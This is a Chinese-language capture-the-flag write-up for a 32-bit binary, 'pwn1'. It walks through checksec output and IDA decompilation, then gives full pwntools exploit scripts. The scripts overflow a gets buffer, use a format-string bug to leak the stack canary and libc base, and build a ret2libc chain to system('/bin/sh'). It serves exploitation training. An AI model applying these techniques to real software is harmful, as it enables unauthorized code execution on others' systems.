440 字
1 分钟
writeUp12.12
PWN1
使用 checksec ./pwn1
~#@❯ checksec ./pwn1[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/work/date12_12/pwn1' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: Not发现存在栈金丝雀
将其拖入 IDA 发现函数 func 中存在gets 栈溢出漏洞, gift 函数中存在格式化字符串漏洞
unsigned int __cdecl func(int a1){ char s[32]; // [esp+1Ch] [ebp-2Ch] BYREF unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); printf("overflow me : "); gets(s); if ( a1 == -889275714 ) // a1 -> arg0 = 0xcafebabe // 0xdeadbeef -> 0xcafebabe gift(); else puts("Nah.."); return __readgsdword(0x14u) ^ v3;}
unsigned int gift(){ char buf[6]; // [esp+16h] [ebp-22h] BYREF _BYTE buf_[16]; // [esp+1Ch] [ebp-1Ch] BYREF unsigned int v3; // [esp+2Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); read(0, buf, 6u); printf(buf); printf("username: "); read(0, &name, 0x50u); // bss 写入 printf("password: "); read(0, buf_, 0x24u); return __readgsdword(0x14u) ^ v3;}通过分析栈func,gift 函数的栈帧发现 只有使得 变量a1 的值 为0xcafebab 的时候 可以劫持条件分支语句
// func STACK-000000000000002F // padding byte-000000000000002E // padding byte-000000000000002D // padding byte-000000000000002C char s[32];-000000000000000C _DWORD var_C; // canary-0000000000000008 // padding byte-0000000000000007 // padding byte-0000000000000006 // padding byte-0000000000000005 // padding byte-0000000000000004 // padding byte-0000000000000003 // padding byte-0000000000000002 // padding byte-0000000000000001 // padding byte+0000000000000000 _DWORD __saved_registers;+0000000000000004 _UNKNOWN *__return_address; //+0000000000000008 _DWORD arg_0; // a1// gift STACK-0000000000000028 _DWORD var_28;-0000000000000024 // padding byte-0000000000000023 // padding byte-0000000000000022 _BYTE buf; // buf fmt-0000000000000022 // 6-0000000000000021 // padding byte-0000000000000020 // padding byte-000000000000001F // padding byte-000000000000001E // padding byte-000000000000001D // padding byte-000000000000001C _BYTE var_1C[16]; // buf_[16] 8 4-000000000000000C _DWORD var_C;-0000000000000008 // padding byte-0000000000000007 // padding byte-0000000000000006 // padding byte-0000000000000005 // padding byte-0000000000000004 // padding byte-0000000000000003 // padding byte-0000000000000002 // padding byte-0000000000000001 // padding byte+0000000000000000 _DWORD __saved_registers;+0000000000000004 _UNKNOWN *__return_address;所以 现在题目可分为如下阶段
- 劫持分支到gift
- 通过gift 函数内部的fmt 格式化字符串漏洞以及栈溢出漏洞,先后泄露出 栈金丝雀值和libc的基地址
- 再通过main 函数的栈溢出 调用
system("/bin/sh")获取shell
EXP
- 绕过分支
payload = b"a" * 52payload = p32(0xcafebabe)这里使用 b”aaaa” 充当假的canary, 所以在之后重新调用main的时候, 需要修复栈中的canary,防止canary检测导致失败,
- 获取canary & libcbase
这里使用 python 脚本打印出所有地址
def findlibcFormat() -> None: context.log_level = "info" for i in range(25): elf = ELF("./pwn1") p = process("./pwn1")
giftAddr = elf.symbols["gift"] payload = b"a" * 52 payload += p32(0xcafebabe)
p.recvuntil(b"overflow me : ") p.sendline(payload) p.sendline(b"%11$p") # canary -> leakAddrStr = p.recv(10) leakAddr = int(leakAddrStr, 16) canary = leakAddr log.success(f"leakAddr: {hex(canary)}")
p.recvuntil(b"username: ") payload = flat([ b"a" * 16, p32(canary), b"b" * 8, b"c" * 4, p32(giftAddr) ])
p.sendline(b"a") p.recvuntil(b"password: ") p.send(payload)
p.sendline(f"%{i + 1}$p") print(f"%{i + 1}p ==> {p.recv()}") p.close()这里发现当%11$p时候,存在明显的栈金丝雀特征(00结尾),通过pwndbg 调试验证发现确实是canary
同时发现:%15$p, %16$p, %20$p, 泄露出来的地址,为实际上libc上地址,这里选择 %16$p 计算到基地址的偏移: 为0x230e34
所以可以出现如下利用脚本
elf = ELF("./pwn1")libc = ELF("/usr/lib/i386-linux-gnu/libc.so.6")
p = process("./pwn1")
giftAddr = elf.symbols["gift"]log.success(f"giftAddr: {hex(giftAddr)}")
mainAddr = elf.symbols["main"]log.success(f"mainAddr: {hex(mainAddr)}")
payload = b"a" * 52payload += p32(0xcafebabe)# payload += p32(0xcafebabe)
p.recvuntil(b"overflow me : ")
p.sendline(payload)p.sendline(b"%11$p") # canary ->leakAddrStr = p.recv(10)leakAddr = int(leakAddrStr, 16)canary = leakAddrlog.success(f"leakAddr: {hex(canary)}")# p.interactive()p.recvuntil(b"username: ")# bss1 -># leave; retleave = 0x08049138
payload = flat([ b"a" * 16, p32(canary), b"b" * 8, b"c" * 4, p32(giftAddr)])
p.sendline(b"")p.recvuntil(b"password: ")p.send(payload)p.sendline(b"%16$p")print()# print(f"pwndbg -p {p.pid}")offset = 0x00230e34leakAddrStr = p.recvuntil(b"\n")
leakAddr = int(leakAddrStr, 16)libcbase = leakAddr - offset
systemAddr = libcbase + libc.symbols["system"]binshAddr = libcbase + next(libc.search("/bin/sh\x00"))- 获取shell,这里存在两个选择
- 使用gift 函数的
read(0, &name, 0x50u);这里的 name 是 在bss段上的变量,同时使用ROPgadget存在leave;ret的 gadget,所以可以在bss段上布置栈,然后通过read(0, buf_, 0x24u);将栈迁移到bss段上攻击 - 跳转回main函数,因为这这里的
gets函数,没有输出限制,可以直接将整个获取shell的ROP布置到栈上
这里选择使用 main函数的方案
payload = flat([ b"a" * 16, p32(canary), b"b" * 8, b"c" * 4, p32(mainAddr)])
p.send(payload)p.recv()p.send(payload)p.recv()
payload = flat([ b"a" * 32, p32(canary), b"b" * 8, p32(0), p32(systemAddr), p32(binshAddr), p32(binshAddr)])最终得到 shell 获取flag
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐










